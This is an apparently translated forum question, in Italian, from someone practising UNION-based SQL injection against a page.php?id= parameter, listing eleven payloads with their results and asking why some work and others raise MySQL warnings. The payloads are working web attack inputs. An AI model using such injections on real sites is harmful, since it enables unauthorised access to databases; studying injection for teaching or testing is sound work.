Sto giocando con SQL injection (solo per scopi didattici bla bla) e mi sono bloccato su questo strano (per me) comportamento delle applicazioni web:
Ho iniettato con successo il seguente payload
page.php?id=-1 union all select 1,2,3 -- -
e posso vedere il numero 3
visualizzato sulla pagina. Buono. Quindi, ho trovato la versione del server MySQL con
page.php?id=-1 union all select 1,2,@@version -- -
che restituisce 5.5.54
. Ora vorrei trovare il database attualmente selezionato, quindi ho provato
page.php?id=-1 union all select 1,2,database() -- -
che fornisce il seguente avviso senza produrre l'output previsto Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ...
.
Dopo ore di "test" ho osservato i seguenti comportamenti:
(1)
page.php?id=-1 union all select 1,2,@@version -- -
[works, output 5.5.54]
(2)
page.php?id=-1 union all select 1,2,version() -- -
[warning, no output]
(3)
page.php?id=-1 union all select 1,2,'a' -- -
[warning, no output]
(4)
page.php?id=-1 union all select 1,2,2*0.5 -- -
[works, output 1.0]
(5)
page.php?id=-1 union all select 1,2,2-0.5 -- -
[works, output 1.5]
(6)
page.php?id=-1 union all select 1,2,ascii('test') -- -
[warning, no output]
(7)
page.php?id=(select 1) -- -
[works exactly as id=1]
(8)
page.php?id=-1 union all select 1,2,(select 1) -- -
[warning, no output]
(9)
page.php?id=-1 union all select 1,2,select 1 -- -
[warning, no output]
(10)
page.php?id=-1 union all select 1,2,greatest(0,1) -- -
[warning, no output]
(11)
page.php?id=greatest(0, 1) -- -
[works exactly as id=1]
Inoltre, per ogni variabile di sistema del server ( Manuale di riferimento di MySQL 5.7 - Sistema server Variabili ) funziona come previsto.
Non ho una domanda specifica ma mi sembra che tutti questi comportamenti non siano coerenti (ad esempio, (1) - (2) o (9) - (10) - (11) o molti altri).